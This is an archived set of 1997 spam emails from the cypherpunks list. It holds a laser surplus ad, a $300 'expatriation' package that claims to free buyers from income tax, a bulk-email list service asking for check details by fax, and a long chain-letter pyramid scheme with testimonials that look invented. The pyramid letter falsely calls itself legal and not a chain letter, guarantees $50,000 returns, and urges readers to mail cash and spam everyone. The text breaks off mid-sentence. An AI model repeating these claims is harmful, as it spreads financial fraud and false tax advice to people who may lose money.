MIME-Version: 1.0
Content-Type: text/plain


Great bargains and discounts on Christmas gifts.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advantag@simplyads.com
Date: Sat, 6 Dec 1997 11:53:41 -0800 (PST)
To: Entrepreneurs@loki.silkspin.com
Subject: Earn up to $1000 per day with tiny classified ads!!!
Message-ID: <199712061649.LAA12740@loki.silkspin.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bgw0N7j49@blac1ktie.net
Date: Sat, 6 Dec 1997 14:13:22 -0800 (PST)
To: lasers@44optic.com
Subject: Lasers/Optics/Optical Tables - Save!
Message-ID: <i6CnBDRzmrGDwb>
MIME-Version: 1.0
Content-Type: text/plain


MWK INDUSTRIES SALE! 

JUST A QUICK LETTER TO SHOW YOU  SOME LASERS- OPTICS AND OPTICAL TABLES 
SURPLUS
THAT WE JUST RECEIVED.


ITEM TRIMMU12   14 WATT ARGON LASER MADE FOR HEART SURGERY, TRIMEDYNE 
MODEL 900
TEMOO, POLORIZED,220VAC INPUT , WATER COOLED , FIBER LAUNCH, ALL ON 
ROLLAROUND CART
EXCELENT FOR LAB USE, THE POWER WAS MEASURED AT 13 TO 14 WATTS. PRICE 
$9500
12 MONTH WARRANTEE.  

ITEM: COHERENT ARTICULATING ARM FROM A  MODEL 451 CO2 MEDICAL LASER.
ECCELLENT COND. $200

ITEM CO220A:  CO2 LASER MADE BY PFIZER ,1990, FOR SURGERY, TATTOO 
REMOVAL ECT.
20 WATT OUTPUT , TESTED AND IN EXC. COND. 110 VAC INPUT, COST $40,000 
NEW OUR PRICE 4,900.
MODEL 20-C

ITEM:PDA-1U1  SPECTRA PHYSICS QUANTRA RAY PULSED DYE LASER , GOOD FOR 
SPARE PARTS
MODEL PDA-1 $500

ITEM NEWU1  NEWPORT OPTICAL TABLE 16" BY 36" 4" THICK, 1 " HOLE SPACING, 
COMES WITH A
RUBBER ISOLATED TABLE STAND, NOT AIR SUPPORTED,   $750

ITEM: HEPSN1  HELIUM  NEON POWER SUPPLY KIT OPERATES UP TO A 15 mW  
LASER, INCLUDES
ALL COMPONENTS AND PRINTED CIRCUIT BOARD, ALL YOU HAVE TO DO IS STUFF 
AND
SOLDER THE CIRCUIT  BOARD . 4" BY 3" BY 3", PRICE $75

ITEM  HENEU12   1 TO 1.5 MW HE-NE LASER 632.8 nM INCLUDES 12VDC INPUT 
POWER SUPPLY
ALL  IN A PLASTIC HOUSING 6.25 IN. BY 1.375IN BY 2.25 IN. TEMOO,RANDOM 
POL. ,1.7 MR DIVERGENCE.
12 MONTH WARRANTEE , PRICE $45

ITEM MELU12   1 TO 2 mW  HE-NE LASER 632.8 NM , PULLS FROM MEDICAL 
EQUIPMENT .EACH
UNIT INCLUDES HE-NE HEAD AND POWER SUPPLY[110VAC INPUT]. ALL YOU NEED TO 
PROVIDE IS A POWER CORD AND A FUSE TO MAKE THE UNIT OPERATIONAL. THE 
BEAM IS TEM00, POLORIZED
WE WILL COVER EACH UNIT WITH A 12 MONTH UNLIMITED HOUR WARRANTEE, 
EXCELLENT
FOR FOR LAB OR HOME USE. NEW THESE COST APPROX. $350 OUR PRICE $85. 
DIMENSIONS  9.75 BY 1.25 INCHES, P.S. 4.25 BY 3.25BY 1.25 INCHES.

ITEM  RAMCNS1:  RAMAN CELL OPTICS 308 nm AR/AR 4600 A 0=0 DEGREES
1000 MM FL. 2" DIA. NEW. ORIGINAL PRICE $520 OUR PRICE $175

ITEM TFPOLNS1:   POLARIZERS , THIN FILM FOR 532 nm , NEW, ORIGINAL COST 
$590 EACH
OUR PRICE $200 EACH  10 MM DIA.

ITEM CO2OCNS1:  CO2 HIGH REFECTOR AND OUTPUT COUPLER 10.5 MM DIA, OC 
=79%R
NEW. $200 A SET.

ITEM 25MNS1: DIELECTRIC BROADBAND MIRRORS 450 TO 700NM , NEW WITH 
PLASTIC 
PROTECTIVE COATINGS , 2 SIZES 25 MM SQ. AND 50 MM SQ. RECOMENDED FOR 
HIGHER
POWER LASERS. 

25MM SIZE  ITEM  25MNS1 $20
50MM SIZE  ITEM 50MNS1  $25

ITEM # BSDNS1:   50/50 DIELECTRIC COATED PLATE BEAM SPLITTER 630 TO 660 
NM
COMES IN A TRIANGLE SHAPE EACH SIDE APPROX. 1"   PRICE $20

ITEM # 45NS1  45 DEGREE RED REFLECTOR , PASSES 488 TO 532NM , CAN BE 
USED TO COMBINE
RED AND GREEN/BLUE LASERS TO CREATE A WHITE LIGHT LASER. 1" SQ.   PRICE 
$15

ITEM# PCINS1  PLANO/CONVEX LENS COATED FOR YAG 1064NM  , AR COATED, 10MM 
DIA.
NEW, ORIG. COST $250 OUR PRICE $100

ITEM# INFILTER   : INTERFERENCE FILTERS USED FOR PASSING A PARTICULAR 
SPECTRAL
LINE , 11.8 MM DIA. CAREFULLY REMOVED FROM MEDICAL EQUIPMENT AND WRAPPED
IN LENSE PAPER.  THE FOLLOWING WAVE LENGTHS ARE AVAILABLE.
523.5, 547.4 , 572.1,  512.9,   550.6,  488,  505.7 nm   price $20 each.

FOR A COMPLETE LINE OF NEW AND USED LASERS - OPTICS -ELECTRO OPTICS- 
LASER SHOWS
ORDER A COMPLETE CATALOG AT MWKINDUSTRIES.COM


TO: ORDER GO TO OUR WEB SITE    MWKINDUSTRIES.COM   {SECURE ORDERING 
SITE}

QUESTIONS OR REMOVAL FROM MAILING LIST EMAIL:  MWK@WORLDNET.ATT.NET

MWK INDUSTRIES
1269 POMONA RD
CORONA CA 91720
PHONE 909-278-0563
FAX 909-278-4887





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 50881206@10179.com
Date: Sat, 6 Dec 1997 19:38:29 -0800 (PST)
To: noone@americancitizenslife.com
Subject: TIRED OF LOSING 1/3 OF YOUR HARD EARNED MONEY TO THE I.R.S?
Message-ID: <freedompath.whateveryperson@americancitizenslife.com>
MIME-Version: 1.0
Content-Type: text/plain


DO YOU PULL YOUR HAIR OUT EVERY TIME INCOME TAX SEASON COMES?
                            DECLARE YOURSELF FREE!!!  
       EXPATRIATE FROM THE CORPORATE UNITED STATES.

"DECLARATION OF EXPATRIATION" SHOWS THE ONLY CASE WHERE A UNITED STATES JUDGE; THE U.S. DEPARTMENT
OF JUSTICE; THE ELEVENTH CIRCUIT COURT OF APPEALS; AND, JUSTICE KENNEDY OF THE SPREME COURT 
CONCUR ON THE CONTRACTS.
IT WAS DECLARED THAT WE ALL HAVE DUAL CITIZENSHIP; AMERICAN AND  CITIZENSHIP
AND UNITED STATES CITIZENSHIP.  YOU WERE BORN INTO AMERICAN CITIZENSHIP AND CONTRACTED INTO
UNITED STATES CITIZENSHIP. THIS DECLARATION PROVES THE CONTRACTS "HE PAYS SOCIAL SECURITY,
HE USES THE POSTAL SERVICE, THEREFORE, MR. COOPER IS A UNITED STATES CITIZEN," ARE FRAUDULENT.

PACKAGE INCLUDES:
1. DECLARATION OF EXPATRIATION
2. COVER LETTER TO THE I.R.S.
3. NOTICE OF AMERICAN CITIZENSHIP

ALL THIS FOR ONLY $300.00.  THINK ABOUT IT - THAT'S A SMALL PRICE COMPARED
TO THE THOUSANDS YOU SPEND IN TAXES EACH YEAR!
REMOVE THE I.R.S. CHOKE COLLAR!!!
PLACE ORDERS NOW TO FREE YOURSELF BEFORE THE TAX TIME RUSH.

SEND $300.00 (USD) TO:  OCEAN SOUND FREEDOM TRUST 1
                                            506 18TH STREET
                                            VIRGINIA BEACH, VIRGINIA   (23451)

$1,000 REWARD TO ANYONE PROVING THE FACTS LISTED IN THE AFORMENTIONED
BRIEF TO BE ERRONOUS.

FOR MORE INFORMATION, SEND $5.00 (USD) TO THE ABOVE ADDRESS, FOR AN 
INFORMATIVE ESSAY.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 61450084@aol.com
Date: Fri, 19 Dec 1997 03:27:01 -0800 (PST)
To: dsj58sjh@aol.com
Subject: AD: " Market Your Product On The Internet "
Message-ID: <199711032654FAA6058@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


	

                        Advanced Internet Marketing



	   Join our winning team and learn how to market your 
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we will remove you from our mailing list, and we will also 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: suzy_g18@hotmail.com
Date: Sat, 6 Dec 1997 14:45:20 -0800 (PST)
To: suzy_g18@hotmail.com
Subject: Free Live Sex!
Message-ID: <0000000000.AAA000@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


****************Attention Video Sex Lovers*****************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KPeters8765@mailexcite.com
Date: Sun, 7 Dec 1997 10:31:18 -0800 (PST)
To: eiluj1033@mailexcite.com
Subject: Mail Your Message to Millions
Message-ID: <9811744758.CLA998002@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain


Tired of NOT making money on the internet?

Did you REALLY believe that ALL you had to do was:

Put up a web page somewhere in Cyberspace with beautiful graphics,
the latest Java and some frames;

Advertise in a few free classifieds;

Act like an expert in newsgroups; since you're not 
supposed to advertise in them;

And, customers were going to beat a path to your door.

If you believed that-
BOY, have I got some swampland in Florida for you!

If you want to make money on the internet,
YOU'D better be PROACTIVE!

YOU'D better go after business like you MEAN IT!

YOU'D better send some E-MAIL - Lots of it!

And YOU'D better tell your story as much as you can,
as often as you can,
to whomever you can!

WELCOME TO THE REAL WORLD.

Bulk e-mail works!

If you know how to write an ad,
identify a need, and fullfill it with your product,
you can make money on the Internet
EVEN on a very limited budget.

This form of advertising has been proven MUCH MORE EFFECTIVE
than other forms of advertising because people read their e-mail.
And, the message will wait in the recipient's e-mail box until it is
read. Your message is SEEN not buried!

Your business deserves a piece of the fastest growing industry in the
U.S.- THE HOME-BASED BUSINESS INDUSTRY ( $427 billion in annual
sales).  Internet sales are projected to be over $10 billion by the 
year 2000, up from $300 million in 1994.

We've got the addresses YOU need.

A Web site alone, posting through newsgroups and registering with a 
few search engines while placing a few classifieds just won't work.

What good is a Web page no one knows is there?

Bulk e-mailing is the lowest-cost method of generating qualified sales
leads,
On average, a solo direct (snail) mail promotion would cost around
$500.00
per thousand, whereas bulk e-mail costs pennies per thousand. No
known form of media advertising can compete with the low cost of bulk e-mail.

Our e-mail lists are maintained on state-of-the-art computers and are
updated daily to assure you the very latest names for your 
mailings. 

Bulk Email Works!!

Put your sales message in front of responsive buyers. Our lists are
compiled from active and willing on-line purchasers and
entrepreneurs. THESE ARE SERIOUS CUSTOMERS LOOKING FOR SERIOUS OFFERS!
These BUYERS want to read and hear more about your products/services.
Our list is updated daily with fresh and new email addresses.

Even if you receive 1/10 of 1% response for mailing 1,000,000 email
addresses
you would receive 1000 replies !!!!

How much money would you make?

Save TIME and MONEY! Make money on the seat of your Pants! Focus
entirely on your sales. Let us do your mailing for you at these
INCREDIBLY LOW RATES:

_____YES- mail my message to 50,000 responsive buyers for $49.95

_____YES- mail my message to 100,000 responsive buyers for $89.95

_____YES- mail my message to 250,000 responsive buyers for $199.95

_____YES- mail my message to 500,000 responsive buyers for $359.95

_____YES- mail my message to 1,000,000 responsive buyers for $679.95

_____YES- mail my message to 2,000,000 responsive buyers for $1299.95


*************** WE SPECIALIZE IN TARGETED MAILINGS - CALL FOR DETAILS***************

_____YES- mail my message to 5,000 targeted buyers for $79.95

_____YES- mail my message to 10,000 targeted buyers for $119.95

_____YES- mail my message to 15,000 targeted buyers for $154.95

_____YES- mail my message to 20,000 targeted buyers for $184.95

Type of business or  people you need  to target _____________________________________
___________________________________________________________________________

 
We MAIL, MAIL, MAIL-
YOU SELL, SELL, SELL.

REMEMBER:
Get 1/10 of 1% and from a mailing af 1,000,000 email addresses 
and you get 1000 replies!!!

Would you make any money?

We take CHECKS BY FAX 
get our most up to date list mailed for YOU by ordering NOW!!

Call 407-956-1151 to order by phone or Fax your order to 407-952-7984 
Office hours are Mon-Fri 10 am - 6 pm Eastern Standard Time. 

Make checks or money order payable to: PICC

Or mail check or money order to: 
Progressive Internet Communications, Co.
P.O. Box 100512
Palm Bay, Florida 32910-0512

ORDER YOUR MAILING PROGRAM TODAY!!

ORDER FORM
========================================================
Name___________________________________________
Address__________________________________________
City______________________State_________Zip_______
E-Mail Address____________________________________
Phone___________________________________________
Business phone____________________________________

Check Ordering info:
Name( exactly as it appears on check)
______________________________________________________
Check number_______________Dollar Amount_________________
**Fraction Code(numbers that appear below check number on top right)
(do not leave blank-ex:123-45/6789)__________________________
Numbers at Bottom of check(read left to right please indicate blank spaces
with a space)____________________________________________
Bank Name_____________________________________________
Bank Address____________________________________________
Bank City/Bank Zip Code___________________________________
Bank phone # (if applicable)_________________________________
 
                                ****** LIMIT 1 PAGE******
                    
* when faxing check- fill out as you would normally do (write in  the dollar amount
and write VOID on the check.

** Cannot process order without fraction code

***Mailings are done within  5-8 business days from the day we receive payment.

** PLEASE BE SURE TO INCLUDE A SUBJECT LINE WITH YOUR AD** 

**IF ORDERING FROM OUTSIDE THE US PLEASE SEND US POSTAL MONEY ORDER**







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ronman@hotmail.com
Date: Sun, 7 Dec 1997 05:31:42 -0800 (PST)
Subject: The FREE info you requested
Message-ID: <19971207132859.AAB28884@roth>
MIME-Version: 1.0
Content-Type: text/plain


HERE is the program YOU have been waiting for!
Please print this information so you will read it comfortably.

---------------------------------------------------------------------

Read through this program twice, then do the math!

---------------------------------------------------------------------


Dear Friend,

My name is Christopher Erickson. Two years ago, the corporation I worked 
at for the past twelve years down-sized and my position was eliminated. After
unproductive job interviews, I decided to open my own business. Over the
past year, I incurred many unforeseen financial problems. I owed my family, 
friends, and creditors over $35,000. The economy was taking a toll on my
business and I just couldn't seem to make ends meet. I had to refinance and
borrow against my home to support my family and struggling business. I 
truly believe it was wrong for me to be in debt like this. AT THAT
MOMENT something significant happened in my life and I am writing to 
share my experience in hopes that this will change your life FOREVER....
FINANCIALLY!!!

In mid-December, I received this program via email. Six months prior to 
receiving this program I had been sending away for information on various
business opportunities. All of the programs I received, in my opinion,
were not cost effective. They were either too difficult for me to comprehend
or the initial investment was too much for me to risk to see if they worked or 
not. One claimed I'd make a million dollars in one year...it didn't tell me I'd 
have to write a book to make it.

But like I was saying, in December of '92 I received this program. I didn't 
send for it, or ask for it, they just got my name off a mailing list. THANK 
GOODNESS FOR THAT!!! After reading it several times, to make sure I
was reading it correctly, I couldn't believe my eyes. Here was a MONEY-
MAKING PHENOMENON. I could invest as much as I wanted to start,			
without putting me further in debt. After I got a pencil and paper and 
figuredit out, I would at least get my money back. After determining that 
the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails. It only cost me about $15.00 for my 
time on-line. The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfil my orders.
I am telling you like it is, I hope it doesn't turn you off, but I promised 
myself that I would not "cheat" anyone, no matter how much money it 
cost me!

In less than one week, I was starting to receive orders for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1. When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15
 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, 
SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making
$50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders 
for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE
100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS. IF NOT,
SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100
ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000
GOAL." Well, I had 196 orders for REPORT #2, 96 more than I needed. So I sat
back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 
with more coming in every day.

I paid off ALL my debts and bought a much needed new car. Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember, it won't work if you don't try it. This program does work, but you 
must follow it EXACTLY! Especially the rules of not trying to place your name
in a different place. It doesn't work, you'll lose out on a lot of money!!!!!! 
(REPORT #2 explains this.) Always follow the guarantee, 15 to 20 orders for
REPORT #1, and 100 or more orders for REPORT #2 and you will make 
$50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!!


If you choose not to participate in this program, I'm sorry. It really is
a great opportunity with little cost or risk to you. If you choose to 
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like
I was, or you want to start your own business, consider this a sign. I DID!

Sincerely,
Christopher Erickson

PS Do you have any idea what 11,700 $5 bills ($58,000) look like piled up
on a kitchen table? IT'S AWESOME!


"THREW IT AWAY"

"I had received this program before. I threw it away, but later wondered
if I shouldn't have given it a try. Of course, I had no idea who to contact to
get a copy, so I had to wait until I was emailed another copy of the program.
Eleven months passed, then it came. I DIDN'T throw this one away. I made
$41,000 on the first try."

Dawn W., Evansville, IN


"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
in life. You get out of life what you put into it.' Through trial and error
and a somewhat slow frustrating start, I finally figured it out. The program
works very well, I just had to find the right target group of people to email
it to. So far this year, I have made over $63,000 using this program. I know 
my dad would have been very proud of me."

Alan B., Philadelphia, PA


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM


By the time you have read the enclosed information and looked over the enclosed
program and reports, you should have concluded that such a program, 
and one that is legal, could not have been created by an amateur.

Let me tell you a little about myself. I had a profitable business for ten
years. Then in 1979 my business began falling off. I was doing the same
things that were previously successful for me, but it wasn't working. 


Finally, I figured it out. It wasn't me, it was the economy. Inflation and 
recession had replaced the stable economy that had been with us since 
1945. I don't have to tell you what happened to the unemployment rate...
because many of you know from first hand experience. There were more
failures and bankruptcies than ever before.

The middle class was vanishing. Those who knew what they were doing
invested wisely and moved up. Those who did not, including those who 
never had anything to save or invest, were moving down into the ranks 
of the poor. As the saying goes, "THE RICH GET RICHER AND THE
POOR GET POORER." The traditional methods of making money will 
never allow you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom 
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT." You can make more money in the next few months than you 
have ever imagined.

I should also point out that I will not see a penny of your money, nor anyone
else who has provided a testimonial for this program. I have already made
over FOUR MILLION DOLLARS! I have retired from the program after 
sending out over 16,000 programs. Now I have several offices which market 
this and several other programs here in the US and overseas. By the Spring, 
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.
 


Follow the program EXACTLY AS INSTRUCTED. Do not change it in any
way.It works exceedingly well as it is now. Remember to e-mail a copy of this 
exciting program to everyone that you can think of. One of the people you 
send this to may send out 50,000...and your name will be on every one of 
them!. Remember though, the more you send out, the more potential customers 
you will reach.

So my friend, I have given you the ideas, information, materials and opportunity 
to become financially independent, IT IS UP TO YOU NOW!


"THINK ABOUT IT"

Before you decide against this program, as I almost did, take a little time
to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what
could happen when YOU participate. Figure out the worst possible response 
and no matter how you calculate it, you will still make a lot of money!
Definitely get back what you invested. Any doubts you have will vanish
when your first orders come in. IT WORKS!

Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and we
'll assume you and all those involved send out 2,000 programs each. Let's
also assume that the mailing receives a .5% response. Using a good list
the response could be much better. Also many people will send out hundred
s of thousands of programs instead of 2,000. But continuing with this 
example, you send out only 2,000 programs. With a 5% response, that is only 
10 orders for REPORT #1. Those 10 people respond by sending out 2,000
programs each for a total of 20,000. Out of those .5%, 100 people respond and
order REPORT #2. Those 100 mail out 2,000 programs each for a total of 
200,000. The .5% response to that is 1,000 orders for REPORT #3. Those
1,000 send out 2,000 programs each for a 2,000,000 total. The .5% response 
to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. 
CASH!!!! Your total income in this example is $50 + $500 + $5000 + $50,000
for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe me, many people will do that and more! By the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists.  


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT!

Simply follow the instructions, and your dream will come true. This multi-level email order marketing program works perfectly...100% EVERY TIME. Email is the sales tool of the future. Take advantage of this non-commercialised method of advertising NOW!! The longer you wait, the more people will be doing business using email. Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and  services will be sold throughout Multi-level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 
millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.


INSTRUCTIONS:

This is the GREATEST Multi-level Mail Order Marketing anywhere:

STEP #1
Order all four 4 REPORTS listed by NAME AND NUMBER. Do this by ordering one REPORT from each of the four names listed on the next page. (4 REPORTS at US $5 each will be only $20 Total!)

For each REPORT, send $5 CASH ( checks take longer to clear the bank.) AND a SELF-ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT. INTERNATIONAL ORDERS SHOULD ALSO INCLUDE $1 EXTRA FOR POSTAGE. 


It is essential that you specify the NAME and NUMBER  of the report requested to the person you are ordering from, and send CASH as checks take longer to clear the bank.


You will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders.

STEP #2
Replace the name and address under REPORT #1 with yours, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

STEP #3
Having made the required changes in the NAME list, save it as a TEXT (.txt) file in it's own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of bulk e-mailing and acquiring e-mail lists.

STEP #4
E-mail a copy of the ENTIRE program (EVERYTHING THAT YOU HAVE READ HERE)
to everyone whose address you can get your hands on. Start with friends and relatives first since it is easiest to convince them to take advantage of this fabulous & profitable opportunity. That's what I did. And they love me now, more than ever. Then, e-mail to anyone and everyone! Use your imagination! You can get e-mail addresses from companies on the internet who specialize in email mailing lists. These are very cheap, 100,000 addresses for around $35.00.


IMPORTANT: You won't get a good response if you use an old list, so always request a  NEW list. You will find out where to purchase these lists when you order the  4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


ABOUT THE FOUR REPORTS: You already know that each costing $5. They not only
serve as a means to work this program, but also contain worthwhile information.  Some
people use these reports to help them with this program, or to start a completely new 
program of a similar structure.  The reports explain how this structure works, and why.
The reports also show how MLM is used by major corporations, and how to obtain 
e-mailing lists, and how advertise by ways such as bulk e-mailing.


REQUIRED REPORTS TO BE ORDERED ARE LISTED BELOW 


***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH  ( checks take longer to clear the bank)  FOR EACH ORDER REQUESTING THE SPECIFIC REPORT
BY its *NAME* AND *NUMBER*

_____________________________________________________________________

REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

Ron Rothstein
P.O. Box 3011
Farmingdale, NY 11735
						            

_____________________________________________________________________

REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

M. Myre
324 Claude
Lachenaie, QC
J6W 5Y6
Canada
_____________________________________________________________________






REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

LIU Qi					
Box 34-451, Yu-Qiao-Bei-Li					
Yu-Qiao Post Office					
Tong-Xian, Beijing 101101					
PR CHINA


____________________________________________________________________

REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Jerry H.
P.O. Box 2
Atwood, CA 92811-0002
USA


=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF=FF

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too, 
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS 
outlined in this mailing. To be financially independent is to be FREE. Free to 
make financial decisions as never before. Go into business, get into investments, 
retire or take a vacation. No longer will a lack of money hold you back. However,
very few people reach financial independence, because when opportunity knocks,
they choose to ignore it. It is much easier to say "NO" than "YES", and this is the 
question that you must answer. Will YOU ignore this amazing opportunity or will 
you take advantage of it? If you do nothing, you have indeed missed something and
nothing will change. Please re-read this material, this is a special opportunity. If you 
have any questions, please feel free to write to the sender of this information. You 
will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that costs me pennies 
to produce and email. I should also point out that this program is legal and everyone who participates WILL make money. THIS IS NOT A CHAIN LETTER OR PYRAMID 
SCHEME. At times you have probably received chain letters, asking you to send money,
on faith, but getting NOTHING in return, NO product what-so-ever! Not only are chain
letters illegal, but the risk of someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to people. After they purchase the product from you,
they reproduce more and resell them. It's simple free enterprise. As you learned from the enclosed material, the PRODUCT is a series of four  FINANCIAL AND BUSINESS
REPORTS. The information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful to you in any other
business decisions you make in the years ahead. You are also buying the rights to reprint all 
of the REPORTS, which will be ordered from you by those to whom you mail this program. 
The concise one and two page REPORTS you will be buying can easily be reproduced at a 
local copy center for a cost off about 3 cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to participate in this program. But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back. BOY, was I ever surprised when I found my medium sized post office box crammed with orders! I will make more money this year than any ten years of my life before."

Mary Riceland, Lansing, MI



TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, YOU MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your new company. You can use your own name if you desire.

2. Get a post office box (preferred, as there may come dozens or hundred 
of such $5 cash letters every day, you'd better to set private PO box to 
keep your money-in safety and convenient.)

3. Edit the names and addresses on the program. You must remember, replace the
name and address next to REPORT #1 with YOURS and move the others down one, 
with the fourth one being BUMPED OFF the list.

4. Obtain as many e-mail addresses as possible to send until you receive 
the information on mailing list companies in REPORT #3.

5. Decide on the number of programs you intend to send out. The more you 
send, and the quicker you send them, the more money you will make.

6. After mailing the programs, get ready to fill the orders.

7. COPY the 4 REPORTS so you are able to sent them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU
RECEIVE!

8. Make certain the letter and reports are neat and legible.

GUARANTEE

The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, email out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES -ALL have reached their $50,000 goal. Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people
 are ordering from you. IT'S THAT EASY. REALLY, IT IS!!!

REMEMBER:

"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE."

BEST WISHES!









---------------------------------------------------------------------
                         HELP FILE
---------------------------------------------------------------------



Dear Friends,

I have taken the liberty to put together a help file for all of the people
who purchase a report from me.  This file may be distributed to all of
your customers at no charge to you.  This letter gives you the rights to 
give this file to everyone who purchases a report from you, so long as 
*this* file is distributed to them at no additional charge.


INTERNET ADVERTISING FOR FREE

Most of you will want to sell as many reports as possible, without having
to purchase large bulk-e-mailings and expensive classified ads on the
Internet.

The three most effective methods to do this for free are:  Web Pages with
your current Internet Provider, Postings on Newsgroups, and Free Classified
Ad areas on the World Wide Web.


---Post directly to potential downlines---
     

There are many ways you can build a downline, but the best is to start
surfing the Classified ads on the Internet. Look for people that are doing 
business on the Internet selling products, such as craft items, how to bo
oks, pagers, phone cards or anything where they are trying to sell a line
of products.  People who are in Network Marketing or MLM are also good 
prospects.  The free classified ads are the best. Stay away from people how 
are trying to sell one item like their car, a boat or their house these are people 
how are not interested in a business proposition, they are there to make one sale
and one sale only. At the bottom of these ads there is a place to send an e-mail
message to the author of the ad, click on it and fill out the name field, and the 
field where you can put your e-mail address. Then leave what ever is in the 
subject field there, this way it shows you are sending them a message from their 
ad and not just picking them out of thin air. Then go on to the part where you can
leave a message and put. I often respond to classified ads with below message:



